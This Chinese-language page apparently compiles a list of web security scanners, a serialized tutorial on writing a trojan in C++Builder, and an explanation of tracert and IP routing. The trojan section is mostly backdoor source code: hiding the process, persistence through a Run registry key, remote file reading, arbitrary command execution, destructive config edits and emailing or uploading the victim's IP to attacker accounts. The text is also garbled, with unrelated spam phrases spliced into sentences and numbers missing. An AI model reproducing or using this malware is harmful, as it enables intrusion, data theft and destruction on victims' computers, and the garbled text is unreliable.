1.web安全测试工具有哪些
2.木马是什么东西
3.tracert工作原理&路由原理
web安全测试工具有哪些
1、Nikto
这是一个开源的Web服务器扫描程序,它可以对Web服务器的多种项目进行全面的测试。其扫描项目和插件经常更新并且可以自动更新。 Nikto 可以在尽可能短的周期内测试你的Web 服务器,它也可以支持LibWhisker 的仿链接交易源码反IDS方法。
不过,并非每一次检查都可以找出一个安全问题。有一些项目是仅提供信息(“info only” )类型的检查,这种检查可以查找一些并不存在安全漏洞的项目,不过 Web 管理员或安全工程师们并不知道,这些项目通常都可以恰当地标记出来。可以省去不少麻烦。
2、Acunetix Web Vulnerability Scanner
一款商业级的Web漏洞扫描程序,它可以检查Web应用程序中的漏洞,如SQL注入、跨站脚 本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界面,并且能够创建专业级的Web 站点安全审核报告。
3、WebScarab
它可以分析使用HTTP 和HTTPS 协议进行通信的应用程序,WebScarab 可以用最简单地形式记录它观察的会话,并允许操作人员以各种方式观查会话。不管是帮助开发人员调试其它方面的难题,还是允许安全专业人员识别漏洞,它都是一款不错的工具。
4、WebInspect
一款强大的Web 应用程序扫描程序。SPI Dynamics 的这款应用程序安全评估工具有助于确认Web 应用中已知的和未知的漏洞。它还可以检查一个Web 服务器是否正确配置,并会尝试一些常见的Web 攻击,如参数注入、跨站脚本、目录遍历攻击(directory traversal)等等。
5、Whisker/libwhisker
Libwhisker 是通达信k线剩余时间源码一个Perla模块,适合于HTTP测试。它可以针对许多已知的安全漏洞,测试HTTP 服务器,特别是检测危险CGI 的存在。Whisker 是一个使用libwhisker 的扫描程序。
6、Paros proxy
一个对Web 应用程序的漏洞进行评估的代理程序,即一个基于Java 的web代理程序,可以评估Web应用程序的漏洞。它支持动态地编辑/查看HTTP/HTTPS,从而改变cookies和表单字段等项目。它包括一个Web 通信记录程序,Web 圈套程序(spider),hash 计算器,还有一个可以测试常见的Web应用程序攻击的扫描器。
7、Burpsuite
一个可以用于攻击Web 应用程序的集成平台。Burp 套件允许一个攻击者将人工的和自动的 技术结合起来,以列举、分析、攻击Web 应用程序,或利用这些程序的漏洞。各种各样的burp 工具协同工作,共享信息,并允许将一种工具发现的漏洞形成另外一种工具的基础。
8、 Wikto
一个Web 服务器评估工具,它可以检查Web 服务器中的漏洞,并提供与Nikto 一样的很多功能,但增加了许多有趣的功能部分,如后端miner 和紧密的Google 集成。它为MS.NET 环境编写,但用户需要注册才能下载其二进制文件和源代码。
9、 Watchfire AppScan
一款商业类的Web 漏洞扫描程序。AppScan 在应用程序的整个开发周期都提供安全测试, 从而测试简化了部件测试和开发早期的怎么看别人微信小程序源码安全保证。它可以扫描许多常见的漏洞,如跨站脚本攻击、HTTP 响应拆分漏洞、参数篡改、隐式字段处理、后门/调试选项、缓冲区溢出等等。
、N-Stealth
N-Stealth 是一款商业级的Web 服务器安全扫描程序。它比一些免费的Web 扫描程序,如 Whisker/libwhisker、Nikto 等的升级频率更高。还要注意,实际上所有通用的VA 工具, 如Nessus, ISS Internet Scanner, Retina, SAINT, Sara 等都包含Web 扫描部件。N-Stealth 主要为Windows 平台提供扫描,但并不提供源代码。
另外,以下一些测试工具也是很不错的,可以了解以下。
Ettercap:功能完备的跨平台的局域网渗透攻击工具;
Cisco Packet Tracert:思科官方出品的傻瓜式模拟器;
GNS3:思科网络与安全模拟器,能模拟防火墙、入侵检测、***等技术;
Hping3:强大的TCP/IP数据包生成工具,可用于防火墙测试和安全审计;
eNSP:华为官方出品的网络/安全模拟器,支持USG防火墙产品;
Cain Windows:下最强大的局域网攻击与揭密工具;
Vmware:操作系统虚拟环境平台,制作虚拟机用来做安全测试;
Visio:最好用的绘图软件,微软出品,支持各种网络拓扑图、流程图等;
Wireshark:最好用的抓包软件,全球开源网络安全工具Top1;
Namp:最强悍的端口扫描器,可基于扫描脚本引擎安全扫描漏洞;
SecureCRT与Xshell一样,都是最常用的终端登录和命令操作软件。
木马是什么东西
木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos?通达信分时高抛低吸源码Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗?先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成?服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、微信小程序做点餐系统源码VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈?难道你还给受害者传一个1兆多的动态链接库?Msvbvm.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入,这是木马的端口号,当然你也可以用别的。但是你要注意不要用以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win.BAT")).c_str());
file://在%System%下建立一个文本文件Win.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(,1)).c_str());
file://将第个字符转换成integer型,存入file_name变量
file://为什么要取第个字符,因为第个字符是空格字符
content=(temp.SubString(,number-)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已经试了次了,仍未成功
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket->SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket->SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket->SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已经试了次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib & FA_RDONLY)
file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_DIREC)
fwrite(" <DIR> ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已经试了次了,仍未成功
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[];
for(int i=0;i<;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,,fp1);
file://从目标文件中读入前个字符
while(Read_Num==)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的个字符
for(int i=0;i<;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的个字符
fclose(fp1);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
file://如果已试了次了
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[];
for(int i=0;i<;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,,fp);
file://从目标文件中读入前个字符
while(Read_Num==)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i<;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧?操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x?NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion < 0x)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>)
{
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win.bat
system(TempFile);
file://执行Win.bat
Socket->SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket->Close();
file://关闭服务
ServerSocket1->Active =true;
file://再次打开服务
if (NMSMTP1->Connected) NMSMTP1->Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1->Host = "smtp..net";
file://选一个好用的SMTP服务器,如、、sina和btamail
NMSMTP1->UserID = "";
file://你SMTP的ID
try
{
NMSMTP1->Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty";
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "crossbow@.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1->PostMessage->Subject = "Server Running Now!";
file://信的主题
NMSMTP1->SendMail();
file://发送!
return;
file://返回
NextTime:
NMFTP1->Host = "ftp.go..com";
file://你的FTP服务器的地址
NMFTP1->UserID = "";
file://你的用户ID
NMFTP1->Port = ;
file://FTP端口号,一般为
NMFTP1->Password = "";
file://你的FTP的密码
if(NMFTP1->Connected) NMFTP1->Disconnect();
file://如果已连接就断开
try
{
NMFTP1->Connect();
file://再连接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
file://创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写入以上的SendToSite的内容
fclose(Upload);
file://写完后关闭此文件
NMFTP1->RemoveDir("public_html");
file://删除public_html目录
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
file://上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#include <mmsystem.h>
至此,服务器端(Server)程序已全部
tracert工作原理&路由原理
1:1 <1 ms <1 ms <1 ms proxy.huayuan.hy [...1]
2 * ms ms ..2.3
3 ms ms ms ...
4 ms ms ms ..7.
5 ms ms ms ..3.
6 ms ms ms ..3.
7 ms ms ms xd--5-a8.bta.net.cn [...5]
Trace complete.
看一下上面这个过程 应该不用解释了
下面我们来分析一下 我们是怎么看到这个回显的
大家都知道我们所发送的tracert数据包 属于icmp数据包的一种
关于ttl的概念不知道能否理解
ttl 就是生存时间的意思 也就是我们所发送的数据包 在转发过程中的寿命问题
很好理解 如果寿命为0的话 就不能到达目的地 每经过一个三层设备我们的数据包的
ttl值都会减一 如果减到0 就证明不能到达就会给我们的源主机一个回应显示
并告知源主机 在哪个三层设备将这个生存值置0的 然后将这个三层设备的ip地址转发给
源主机
上面我们说的是ttl的一个原理和作用
下面我们来说 tracert包的原理
我们发送TRACERT包时 第一次的包的ttl值为1 这样到第一个三层设备那就会给
源主机一个回应 并告知其IP
依次类推 第二次发送的时候的TTL值等于2
第三次为3 默认最大hop为
也就是说ttl最大升到
这样我门就能清楚的看到 我们的数据包是怎么到达目的地的
2:当IP子网中的一台主机发送IP分组给同一IP子网的另一台主机时,它将直接把IP分组送到网络上,对方就能收到。而要送给不同IP子网上的主机时,它要选择一个能到达目的子网上的路由器,把IP分组送给该路由器,由路由器负责把IP分组送到目的地。如果没有找到这样的路由器,主机就把IP分组送给一个称为“缺省网关(default gateway)”的路由器上。“缺省网关”是每台主机上的一个配置参数,它是接在同一个网络上的某个路由器端口的IP地址。
路由器转发IP分组时,只根据IP分组目的IP地址的网络号部分,选择合适的端口,把IP分组送出去。同主机一样,路由器也要判定端口所接的是否是目的子网,如果是,就直接把分组通过端口送到网络上,否则,也要选择下一个路由器来传送分组。路由器也有它的缺省网关,用来传送不知道往哪儿送的IP分组。这样,通过路由器把知道如何传送的IP分组正确转发出去,不知道的IP分组送给“缺省网关”路由器,这样一级级地传送,IP分组最终将送到目的地,送不到目的地的IP分组则被网络丢弃了。目前TCP/IP网络,全部是通过路由器互连起来的,Internet就是成千上万个IP子网通过路由器互连起来的国际性网络。网络称为以路由器为基础的网络(router based network),形成了以路由器为节点的“网间网”。在“网间网”中,路由器不仅负责对IP分组的转发,还要负责与别的路由器进行联络,共同确定“网间网”的路由选择和维护路由表。路由动作包括两项基本内容:寻径和转发。寻径即判定到达目的地的最佳路径,由路由选择算法来实现。由于涉及到不同的路由选择协议和路由选择算法,要相对复杂一些。为了判定最佳路径,路由选择算法必须启动并维护包含路由信息的路由表,其中路由信息依赖于所用的路由选择算法而不尽相同。路由选择算法将收集到的不同信息填入路由表中,根据路由表可将目的网络与下一站(nexthop)的关系告诉路由器。路由器间互通信息进行路由更新,更新维护路由表使之正确反映网络的拓扑变化,并由路由器根据量度来决定最佳路径。这就是路由选择协议(routing protocol),例如路由信息协议(RIP)、开放式最短路径优先协议(OSPF)和边界网关协议(BGP)等。
转发即沿寻径好的最佳路径传送信息分组。路由器首先在路由表中查找,判明是否知道如何将分组发送到下一个站点(路由器或主机),如果路由器不知道如何发送分组,通常将该分组丢弃;否则就根据路由表的相应表项将分组发送到下一个站点,如果目的网络直接与路由器相连,路由器就把分组直接送到相应的端口上。这就是路由转发协议(routed protocol)。
路由转发协议和路由选择协议是相互配合又相互独立的概念,前者使用后者维护的路由表,同时后者要利用前者提供的功能来发布路由协议数据分组。